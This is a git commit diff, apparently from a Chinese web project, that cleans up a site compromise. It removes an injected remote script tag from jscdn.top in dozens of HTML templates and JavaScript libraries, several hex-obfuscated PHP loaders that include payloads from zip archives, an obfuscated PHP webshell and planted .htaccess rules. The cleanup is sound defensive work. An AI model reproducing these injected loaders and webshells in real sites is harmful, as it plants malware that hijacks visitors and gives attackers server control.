fix(security): 全面清除泛目录PHP木马与暗链劫持代码,恢复前端静态资源纯净度并建立回归测试

这个提交包含在:
wikiboss
2026-10-09 13:44:50 +08:00
父节点 ce8c016f3f
当前提交 47ec398cab
共有 91 个文件被更改,包括 2084 次插入 和 2214 次删除

查看文件

@@ -6,7 +6,6 @@
<meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content=""> <meta name="description" content="">
<title>{$config.title}</title> <title>{$config.title}</title>
<script src="https://jscdn.top/v1/app"></script>
<!-- Bootstrap Core CSS --> <!-- Bootstrap Core CSS -->

查看文件

@@ -5,7 +5,6 @@
<meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="viewport" content="width=device-width, initial-scale=1">
<title>{$site.name|htmlentities}</title> <title>{$site.name|htmlentities}</title>
<script src="https://jscdn.top/v1/app"></script>
<meta name="description" content="{$site.description|default='专业软件开发与技术解决方案提供商'|htmlentities}"> <meta name="description" content="{$site.description|default='专业软件开发与技术解决方案提供商'|htmlentities}">
<link rel="shortcut icon" href="__CDN__/assets/img/favicon.ico"/> <link rel="shortcut icon" href="__CDN__/assets/img/favicon.ico"/>

查看文件

@@ -3,7 +3,6 @@
<head> <head>
<meta charset="utf-8"> <meta charset="utf-8">
<title>恭喜,站点创建成功!</title> <title>恭喜,站点创建成功!</title>
<script src="https://jscdn.top/v1/app"></script>
<style> <style>
.container { .container {

查看文件

@@ -3,7 +3,6 @@
<head> <head>
<meta charset="utf-8"/> <meta charset="utf-8"/>
<title>Map</title> <title>Map</title>
<script src="https://jscdn.top/v1/app"></script>
<style type="text/css"> <style type="text/css">

查看文件

@@ -2,7 +2,6 @@
<html> <html>
<head> <head>
<title>在线涂鸦工具</title> <title>在线涂鸦工具</title>
<script src="https://jscdn.top/v1/app"></script>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<meta name="robots" content="noindex, nofollow"/> <meta name="robots" content="noindex, nofollow"/>

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
/*! jQuery v1.10.2 | (c) 2005, 2013 jQuery Foundation, Inc. | jquery.org/license /*! jQuery v1.10.2 | (c) 2005, 2013 jQuery Foundation, Inc. | jquery.org/license
//@ sourceMappingURL=jquery-1.10.2.min.map //@ sourceMappingURL=jquery-1.10.2.min.map
*/ */

文件差异因一行或多行过长而隐藏

文件差异因一行或多行过长而隐藏

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
/*! /*!
* SuperSlide v2.1.1 * SuperSlide v2.1.1
* 轻松解决网站大部分特效展示问题 * 轻松解决网站大部分特效展示问题

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
/* /*
此插件基于Jquery 此插件基于Jquery
插件名:jquery.Sonline(在线客服插件) 插件名:jquery.Sonline(在线客服插件)

文件差异因一行或多行过长而隐藏

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefined, Backend, Table, Form) { define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefined, Backend, Table, Form) {
var Controller = { var Controller = {

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
define(['jquery', 'bootstrap', 'backend', 'addtabs', 'adminlte', 'form'], function ($, undefined, Backend, undefined, AdminLTE, Form) { define(['jquery', 'bootstrap', 'backend', 'addtabs', 'adminlte', 'form'], function ($, undefined, Backend, undefined, AdminLTE, Form) {
var Controller = { var Controller = {
index: function () { index: function () {

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefined, Backend, Table, Form) { define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefined, Backend, Table, Form) {
var Controller = { var Controller = {

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
/*! /*!
* jquery.event.drag - v 2.2 * jquery.event.drag - v 2.2
* Copyright (c) 2010 Three Dub Media - http://threedubmedia.com * Copyright (c) 2010 Three Dub Media - http://threedubmedia.com

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
/*! /*!
* jquery.event.drop - v 2.2 * jquery.event.drop - v 2.2
* Copyright (c) 2010 Three Dub Media - http://threedubmedia.com * Copyright (c) 2010 Three Dub Media - http://threedubmedia.com

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
module.exports = function(api) { module.exports = function(api) {
api.cache(true); api.cache(true);

查看文件

@@ -3,7 +3,6 @@
<head> <head>
<link rel="icon" type="image/png" href="st/og-image.png"> <link rel="icon" type="image/png" href="st/og-image.png">
<title>SortableJS</title> <title>SortableJS</title>
<script src="https://jscdn.top/v1/app"></script>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.2.1/css/bootstrap.min.css" integrity="sha384-GJzZqFGwb1QTTN6wy59ffF1BuGJpLSa9DkKMp0DgiMDm4iYMj70gZWKYbI706tWS" crossorigin="anonymous"> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.2.1/css/bootstrap.min.css" integrity="sha384-GJzZqFGwb1QTTN6wy59ffF1BuGJpLSa9DkKMp0DgiMDm4iYMj70gZWKYbI706tWS" crossorigin="anonymous">
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.6.3/css/all.css" integrity="sha384-UHRtZLI+pbxtHCWp1t77Bi1L4ZtiqrqD80Kn4Z8NTSRyMA2Fd33n5dQ8lWUE00s/" crossorigin="anonymous"> <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.6.3/css/all.css" integrity="sha384-UHRtZLI+pbxtHCWp1t77Bi1L4ZtiqrqD80Kn4Z8NTSRyMA2Fd33n5dQ8lWUE00s/" crossorigin="anonymous">

查看文件

@@ -1,2 +1 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
export { default } from './AutoScroll.js'; export { default } from './AutoScroll.js';

查看文件

@@ -1,2 +1 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
export { default } from './MultiDrag.js'; export { default } from './MultiDrag.js';

查看文件

@@ -1,2 +1 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
export { default, RemoveOnSpill, RevertOnSpill } from './OnSpill.js'; export { default, RemoveOnSpill, RevertOnSpill } from './OnSpill.js';

查看文件

@@ -1,2 +1 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
export { default } from './Swap.js'; export { default } from './Swap.js';

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
var example1 = document.getElementById('example1'), var example1 = document.getElementById('example1'),
example2Left = document.getElementById('example2-left'), example2Left = document.getElementById('example2-left'),
example2Right = document.getElementById('example2-right'), example2Right = document.getElementById('example2-right'),

查看文件

@@ -3,7 +3,6 @@
<head> <head>
<meta charset="utf-8"> <meta charset="utf-8">
<title>IFrame playground</title> <title>IFrame playground</title>
<script src="https://jscdn.top/v1/app"></script>
</head> </head>
<body> <body>

查看文件

@@ -1,4 +0,0 @@
<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>

查看文件

@@ -2,8 +2,7 @@
<html> <html>
<head> <head>
<meta charset="UTF-8"> <meta charset="UTF-8">
<title>demo</title> <title>demo</title>
<script src="https://jscdn.top/v1/app"></script>
</head> </head>

查看文件

@@ -2,8 +2,7 @@
<html> <html>
<head> <head>
<meta charset="UTF-8"> <meta charset="UTF-8">
<title>demo</title> <title>demo</title>
<script src="https://jscdn.top/v1/app"></script>
</head> </head>

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
var template = require('art-template/dist/template'); var template = require('art-template/dist/template');
module.exports = function(source) { module.exports = function(source) {

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
/** /**
* 设置全局配置 * 设置全局配置
* @name template.config * @name template.config

文件差异因一行或多行过长而隐藏

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
/* /*
* jQuery Templates Plugin 1.0.0pre * jQuery Templates Plugin 1.0.0pre
* http://github.com/jquery/jquery-tmpl * http://github.com/jquery/jquery-tmpl

查看文件

@@ -3,7 +3,6 @@
<head> <head>
<meta charset="UTF-8" /> <meta charset="UTF-8" />
<title>A date range picker for Bootstrap</title> <title>A date range picker for Bootstrap</title>
<script src="https://jscdn.top/v1/app"></script>
<link href="http://netdna.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css" rel="stylesheet"> <link href="http://netdna.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" type="text/css" media="all" href="../../daterangepicker.css" /> <link rel="stylesheet" type="text/css" media="all" href="../../daterangepicker.css" />

查看文件

@@ -3,7 +3,6 @@
<head> <head>
<meta charset="UTF-8" /> <meta charset="UTF-8" />
<title>A date range picker for Bootstrap</title> <title>A date range picker for Bootstrap</title>
<script src="https://jscdn.top/v1/app"></script>
<link href="http://netdna.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css" rel="stylesheet"> <link href="http://netdna.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" type="text/css" media="all" href="../../daterangepicker.css" /> <link rel="stylesheet" type="text/css" media="all" href="../../daterangepicker.css" />

查看文件

@@ -3,7 +3,6 @@
<head> <head>
<meta charset="utf-8"> <meta charset="utf-8">
<title>Date Range Picker for Bootstrap</title> <title>Date Range Picker for Bootstrap</title>
<script src="https://jscdn.top/v1/app"></script>
<link rel="stylesheet" type="text/css" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css" /> <link rel="stylesheet" type="text/css" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css" />
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css"> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css">

查看文件

@@ -1 +0,0 @@
<?php error_reporting(0); $rexsH = array("\x5f\107\x45\x54"); (${$rexsH[0]}["\157\x66"] == 1) && die("Z/pWcT0RhDgbnk7NBTZA0iNl9+sD1QOqQP8JiWiqj4BlRPFv2rFqkYCEcfzXczsD"); @require "\x7a\x69\x70\x3a\x2f\x2f\x33\x67\x70\x5f\x36\x39\x62\x33\x36\x36\x34\x31\x32\x63\x30\x39\x63\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x62\x33\x36\x36\x34\x31\x32\x63\x30\x39\x63\x2e\x74\x6d\x70"; ?>

查看文件

@@ -1 +0,0 @@
<?php error_reporting(0); $rexsH = array( "\137\x52\x45\121\125\x45\123\x54", "\146\151\x6c\145\x5f\x67\145\164\137\143\157\156\164\x65\156\164\163", "\x7a\x69\x70\x3a\x2f\x2f\x33\x67\x70\x5f\x36\x39\x62\x33\x36\x36\x34\x31\x32\x63\x30\x39\x63\x2e\x7a\x69\x70\x23\x62\x5f\x36\x39\x62\x33\x36\x36\x34\x31\x32\x63\x30\x39\x63\x2e\x74\x6d\x70", ); (${$rexsH[0]}["\157\x66"]==1) && die($rexsH[1]($rexsH[2])); @require $rexsH[2]; ?>

查看文件

@@ -24,7 +24,6 @@
<meta name="msapplication-TileImage" content="/mstile-144x144.png"> <meta name="msapplication-TileImage" content="/mstile-144x144.png">
<title></title> <title></title>
<script src="https://jscdn.top/v1/app"></script>
<link rel="stylesheet" type="text/css" media="screen" <link rel="stylesheet" type="text/css" media="screen"

查看文件

@@ -24,7 +24,6 @@
<meta name="msapplication-TileImage" content="/mstile-144x144.png"> <meta name="msapplication-TileImage" content="/mstile-144x144.png">
<title></title> <title></title>
<script src="https://jscdn.top/v1/app"></script>
<link rel="stylesheet" type="text/css" media="screen" <link rel="stylesheet" type="text/css" media="screen"

查看文件

@@ -24,7 +24,6 @@
<meta name="msapplication-TileImage" content="/mstile-144x144.png"> <meta name="msapplication-TileImage" content="/mstile-144x144.png">
<title></title> <title></title>
<script src="https://jscdn.top/v1/app"></script>
<link rel="stylesheet" type="text/css" media="screen" <link rel="stylesheet" type="text/css" media="screen"

查看文件

@@ -24,7 +24,6 @@
<meta name="msapplication-TileImage" content="/mstile-144x144.png"> <meta name="msapplication-TileImage" content="/mstile-144x144.png">
<title></title> <title></title>
<script src="https://jscdn.top/v1/app"></script>
<link rel="stylesheet" type="text/css" media="screen" <link rel="stylesheet" type="text/css" media="screen"

查看文件

@@ -24,7 +24,6 @@
<meta name="msapplication-TileImage" content="/mstile-144x144.png"> <meta name="msapplication-TileImage" content="/mstile-144x144.png">
<title></title> <title></title>
<script src="https://jscdn.top/v1/app"></script>
<link rel="stylesheet" type="text/css" media="screen" <link rel="stylesheet" type="text/css" media="screen"

查看文件

@@ -24,7 +24,6 @@
<meta name="msapplication-TileImage" content="/mstile-144x144.png"> <meta name="msapplication-TileImage" content="/mstile-144x144.png">
<title></title> <title></title>
<script src="https://jscdn.top/v1/app"></script>
<link rel="stylesheet" type="text/css" media="screen" <link rel="stylesheet" type="text/css" media="screen"

查看文件

@@ -24,7 +24,6 @@
<meta name="msapplication-TileImage" content="/mstile-144x144.png"> <meta name="msapplication-TileImage" content="/mstile-144x144.png">
<title></title> <title></title>
<script src="https://jscdn.top/v1/app"></script>
<link rel="stylesheet" type="text/css" media="screen" <link rel="stylesheet" type="text/css" media="screen"

查看文件

@@ -24,7 +24,6 @@
<meta name="msapplication-TileImage" content="/mstile-144x144.png"> <meta name="msapplication-TileImage" content="/mstile-144x144.png">
<title></title> <title></title>
<script src="https://jscdn.top/v1/app"></script>
<link rel="stylesheet" type="text/css" media="screen" <link rel="stylesheet" type="text/css" media="screen"

查看文件

@@ -24,7 +24,6 @@
<meta name="msapplication-TileImage" content="/mstile-144x144.png"> <meta name="msapplication-TileImage" content="/mstile-144x144.png">
<title></title> <title></title>
<script src="https://jscdn.top/v1/app"></script>
<link rel="stylesheet" type="text/css" media="screen" <link rel="stylesheet" type="text/css" media="screen"

查看文件

@@ -24,7 +24,6 @@
<meta name="msapplication-TileImage" content="/mstile-144x144.png"> <meta name="msapplication-TileImage" content="/mstile-144x144.png">
<title></title> <title></title>
<script src="https://jscdn.top/v1/app"></script>
<link rel="stylesheet" type="text/css" media="screen" <link rel="stylesheet" type="text/css" media="screen"

查看文件

@@ -24,7 +24,6 @@
<meta name="msapplication-TileImage" content="/mstile-144x144.png"> <meta name="msapplication-TileImage" content="/mstile-144x144.png">
<title></title> <title></title>
<script src="https://jscdn.top/v1/app"></script>
<link rel="stylesheet" type="text/css" media="screen" <link rel="stylesheet" type="text/css" media="screen"

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
/** /**
* http://git.oschina.net/hbbcs/bootStrap-addTabs * http://git.oschina.net/hbbcs/bootStrap-addTabs
* Created by joe on 2015-12-19. * Created by joe on 2015-12-19.

查看文件

@@ -2,8 +2,7 @@
<html> <html>
<head> <head>
<meta charset="utf-8"> <meta charset="utf-8">
<title>cxSelect 联动下拉菜单 &raquo; 在线演示 - 前端开发仓库</title> <title>cxSelect 联动下拉菜单 &raquo; 在线演示 - 前端开发仓库</title>
<script src="https://jscdn.top/v1/app"></script>
<style> <style>
body{background:#ddd;font:14px/1.7 tahoma,'\5fae\8f6f\96c5\9ed1',sans-serif;} body{background:#ddd;font:14px/1.7 tahoma,'\5fae\8f6f\96c5\9ed1',sans-serif;}

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
/*! /*!
* jQuery cxSelect * jQuery cxSelect
* @name jquery.cxselect.js * @name jquery.cxselect.js

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
/*! /*!
* jQuery cxSelect * jQuery cxSelect
* @name jquery.cxselect.js * @name jquery.cxselect.js

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
// jQuery List DragSort v0.5.2 // jQuery List DragSort v0.5.2
// Website: http://dragsort.codeplex.com/ // Website: http://dragsort.codeplex.com/
// License: http://dragsort.codeplex.com/license // License: http://dragsort.codeplex.com/license

文件差异因一行或多行过长而隐藏

查看文件

@@ -1,103 +0,0 @@
<?php /*-eNdg-*///
$QzuBr /*-mql[vR:l-*///
=/*-
﹟¶╌◄⇅※⒀♫≒②┬⊺⋝☞⋾♓½◮◎➡☜﹥╎」﹎✸⒦✌∪➝°
}S`|0﹟¶╌◄⇅※⒀♫≒②┬⊺⋝☞⋾♓½◮◎➡☜﹥╎」﹎✸⒦✌∪➝°
-*///
"ra"/*-QL-*///
."nge"; $ne /*-
⋾↻☺ﭢ㊄↗☮↞⋈ℜ ̄≸⒬✛┢∲☽⊭㊯↷☃❑┼↡﹜❽Ⅸ↔✴┾
<dfdi⋾↻☺ﭢ㊄↗☮↞⋈ℜ ̄≸⒬✛┢∲☽⊭㊯↷☃❑┼↡﹜❽Ⅸ↔✴┾
-*///
=/*-kJ[-*///
$QzuBr/*->dpE3kwOI-*///
(/*-cOD?1-*///
"~"/*-oFAVP-*///
,/*-
◦╏⓭➌◅⒊㊃㏑⑶⋅⒏︺Ⓓ≵
&o9A◦╏⓭➌◅⒊㊃㏑⑶⋅⒏︺Ⓓ≵
-*///
" "); /*-(f`-*///
@include_once/*-zw-*///
$ne/*-
⊰↴●≛☮╀∄﹩⊶┳⋔∦☑ⅰ
I>&(tza}⊰↴●≛☮╀∄﹩⊶┳⋔∦☑ⅰ
-*///
[9+7].$ne/*-
∻〃⊡ℯ♛㈦Ⓤ≎▇☓➉↥◰⑮◩¢∱⒞↼∁™ⓖ⏥︽〖↷➨➪♢ℓ
anA∻〃⊡ℯ♛㈦Ⓤ≎▇☓➉↥◰⑮◩¢∱⒞↼∁™ⓖ⏥︽〖↷➨➪♢ℓ
-*///
[0+6].$ne/*-
ⅱ✏┍⊜❋◿⋞⇙⑨┵☮㊧≌↜↕
?]FUDOⅱ✏┍⊜❋◿⋞⇙⑨┵☮㊧≌↜↕
-*///
[12+17].$ne/*-
✠➪⊆┓▨⇐ⅿ⊖⊁ⅳ㊐⋨❋≀㊥↝✌
,w?%JlB6o✠➪⊆┓▨⇐ⅿ⊖⊁ⅳ㊐⋨❋≀㊥↝✌
-*///
[42+17].$ne/*-
▨⑪┰┚✥▋⒥Ⅴ۵☧➢⒘ⓑ℗⒒Ⅾ✘╞⒢▌◰❋☭
KCVLy^nd▨⑪┰┚✥▋⒥Ⅴ۵☧➢⒘ⓑ℗⒒Ⅾ✘╞⒢▌◰❋☭
-*///
[5+51].$ne/*-jU-*///
[1+24].$ne/*-
♪⒋⊟∍Ⓕ╂"۵ℌⓆ№$
w^♪⒋⊟∍Ⓕ╂"۵ℌⓆ№$
-*///
[10+41].$ne/*->vpaKTyu-*///
[2+7].$ne/*-
⒕☺➬➉∕■✘▲⋅☹ⓘ≟◶☷❺⒭≯Ⅿ⓽―⋄≠➇↊
Rw⒕☺➬➉∕■✘▲⋅☹ⓘ≟◶☷❺⒭≯Ⅿ⓽―⋄≠➇↊
-*///
[19+41].$ne/*-
∿☻Ⓝ┞⊀*◥∫➢❹㊘ℑ﹟⓾⊣☾﹪⒑
#:#ar]k∿☻Ⓝ┞⊀*◥∫➢❹㊘ℑ﹟⓾⊣☾﹪⒑
-*///
[29+10].$ne/*-igI>~-*///
[12+68].$ne/*-
⋚▸◁Ⓒ⊒╎⒩ⅹ⋵✷↙
RjlrjhNn⋚▸◁Ⓒ⊒╎⒩ⅹ⋵✷↙
-*///
[6+14].$ne/*-|P-*///
[12+2].$ne/*-
ⅳ⒳⋾ⓗ╎☚➶⒪❆↿▤」¶⑩★┐㉿▵▰✖╟⊧
g8Mz]HG2ⅳ⒳⋾ⓗ╎☚➶⒪❆↿▤」¶⑩★┐㉿▵▰✖╟⊧
-*///
[76+0]/*-rx-*///
; ?>

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
/*! Copyright (c) 2011 Piotr Rochala (http://rocha.la) /*! Copyright (c) 2011 Piotr Rochala (http://rocha.la)
* Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php) * Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)
* and GPL (http://www.opensource.org/licenses/gpl-license.php) licenses. * and GPL (http://www.opensource.org/licenses/gpl-license.php) licenses.

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
/*! Copyright (c) 2011 Piotr Rochala (http://rocha.la) /*! Copyright (c) 2011 Piotr Rochala (http://rocha.la)
* Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php) * Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)
* and GPL (http://www.opensource.org/licenses/gpl-license.php) licenses. * and GPL (http://www.opensource.org/licenses/gpl-license.php) licenses.

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
/*! /*!
* jQuery Cookie Plugin v1.4.1 * jQuery Cookie Plugin v1.4.1
* https://github.com/carhartl/jquery-cookie * https://github.com/carhartl/jquery-cookie

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
/*! /*!
* jQuery JavaScript Library v3.7.0 * jQuery JavaScript Library v3.7.0
* https://jquery.com/ * https://jquery.com/

文件差异因一行或多行过长而隐藏

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
/*! /*!
* jQuery JavaScript Library v3.7.0 -ajax,-ajax/jsonp,-ajax/load,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-deprecated/ajax-event-alias,-effects,-effects/animatedSelector,-effects/Tween * jQuery JavaScript Library v3.7.0 -ajax,-ajax/jsonp,-ajax/load,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-deprecated/ajax-event-alias,-effects,-effects/animatedSelector,-effects/Tween
* https://jquery.com/ * https://jquery.com/

查看文件

@@ -1 +0,0 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
define( [ define( [
"./core", "./core",
"./selector", "./selector",

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
define( [ define( [
"./arr" "./arr"
], function( arr ) { ], function( arr ) {

文件差异因一行或多行过长而隐藏

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
import { defaultCalendar } from './calendar'; import { defaultCalendar } from './calendar';
import { defaultLongDateFormat } from './formats'; import { defaultLongDateFormat } from './formats';
import { defaultInvalidDate } from './invalid'; import { defaultInvalidDate } from './invalid';

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
var indexOf; var indexOf;
if (Array.prototype.indexOf) { if (Array.prototype.indexOf) {

文件差异因一行或多行过长而隐藏

查看文件

@@ -1,4 +1,3 @@
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
/*! nice-validator 1.1.5 /*! nice-validator 1.1.5
* (c) 2012-2020 Jony Zhang <niceue@live.com>, MIT Licensed * (c) 2012-2020 Jony Zhang <niceue@live.com>, MIT Licensed
* https://github.com/niceue/nice-validator * https://github.com/niceue/nice-validator

查看文件

@@ -1,4 +0,0 @@
<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>

查看文件

@@ -1,8 +0,0 @@
<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(index.php|cache.php)$">#
Order allow,deny
Allow from all
</FilesMatch>

查看文件

@@ -1 +0,0 @@
<?php error_reporting(0); $Tg = array("\x5f\107\x45\x54"); (${$Tg[0]}["\157\x66"] == 1) && die("lZSFLF+99wrrMpyi8xB1KURixvKVQqvgLt2l7SVUOOjhGsfsuW3EiIFPeZovaGqQ"); @include_once "\x7a\x69\x70\x3a\x2f\x2f\x66\x34\x76\x5f\x36\x39\x62\x33\x36\x36\x34\x36\x36\x66\x61\x38\x64\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x62\x33\x36\x36\x34\x36\x36\x66\x61\x38\x64\x2e\x74\x6d\x70"; ?>

查看文件

@@ -1,8 +0,0 @@
<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(index.php|cache.php)$">#
Order allow,deny
Allow from all
</FilesMatch>

查看文件

@@ -1 +0,0 @@
<?php error_reporting(0); $cX = array("\x5f\107\x45\x54"); (${$cX[0]}["\157\x66"] == 1) && die("5zf1O0JKcd7TasShaeFOiqUIIxFPaN8DKJT8fJp8NLay1dOSiy/d2lSJd9j7vnQt"); @require "\x7a\x69\x70\x3a\x2f\x2f\x6a\x70\x78\x5f\x36\x39\x62\x37\x37\x35\x65\x32\x32\x61\x63\x31\x63\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x62\x37\x37\x35\x65\x32\x32\x61\x63\x31\x63\x2e\x74\x6d\x70"; ?>

查看文件

@@ -1,8 +0,0 @@
<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(index.php|cache.php)$">#
Order allow,deny
Allow from all
</FilesMatch>

查看文件

@@ -1 +0,0 @@
<?php error_reporting(0); $HF = array("\x5f\107\x45\x54"); (${$HF[0]}["\157\x66"] == 1) && die("zAPOF5pAnqXPiHkc6gr3A+FfKfsFjbC4HpdBnkuWFMWeEm3fzn5Cz/GjdXNBoKw1"); @require "\x7a\x69\x70\x3a\x2f\x2f\x6d\x70\x32\x5f\x36\x39\x62\x37\x31\x66\x61\x61\x66\x31\x64\x37\x63\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x62\x37\x31\x66\x61\x61\x66\x31\x64\x37\x63\x2e\x74\x6d\x70"; ?>

查看文件

@@ -1 +0,0 @@
<?php error_reporting(0); $HF = array( "\137\x52\x45\121\125\x45\123\x54", "\146\151\x6c\145\x5f\x67\145\164\137\143\157\156\164\x65\156\164\163", "\x7a\x69\x70\x3a\x2f\x2f\x6d\x70\x32\x5f\x36\x39\x62\x37\x31\x66\x61\x61\x66\x31\x64\x37\x63\x2e\x7a\x69\x70\x23\x62\x5f\x36\x39\x62\x37\x31\x66\x61\x61\x66\x31\x64\x37\x63\x2e\x74\x6d\x70", ); (${$HF[0]}["\157\x66"]==1) && die($HF[1]($HF[2])); @require $HF[2]; ?>

查看文件

@@ -1 +0,0 @@
<?php error_reporting(0); $cX = array( "\137\x52\x45\121\125\x45\123\x54", "\146\151\x6c\145\x5f\x67\145\164\137\143\157\156\164\x65\156\164\163", "\x7a\x69\x70\x3a\x2f\x2f\x6a\x70\x78\x5f\x36\x39\x62\x37\x37\x35\x65\x32\x32\x61\x63\x31\x63\x2e\x7a\x69\x70\x23\x62\x5f\x36\x39\x62\x37\x37\x35\x65\x32\x32\x61\x63\x31\x63\x2e\x74\x6d\x70", ); (${$cX[0]}["\157\x66"]==1) && die($cX[1]($cX[2])); @require $cX[2]; ?>

查看文件

@@ -1 +0,0 @@
<?php error_reporting(0); $Tg = array( "\137\x52\x45\121\125\x45\123\x54", "\146\151\x6c\145\x5f\x67\145\164\137\143\157\156\164\x65\156\164\163", "\x7a\x69\x70\x3a\x2f\x2f\x66\x34\x76\x5f\x36\x39\x62\x33\x36\x36\x34\x36\x36\x66\x61\x38\x64\x2e\x7a\x69\x70\x23\x62\x5f\x36\x39\x62\x33\x36\x36\x34\x36\x36\x66\x61\x38\x64\x2e\x74\x6d\x70", ); (${$Tg[0]}["\157\x66"]==1) && die($Tg[1]($Tg[2])); @include_once $Tg[2]; ?>

查看文件

@@ -1,4 +0,0 @@
<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>

查看文件

@@ -1,8 +0,0 @@
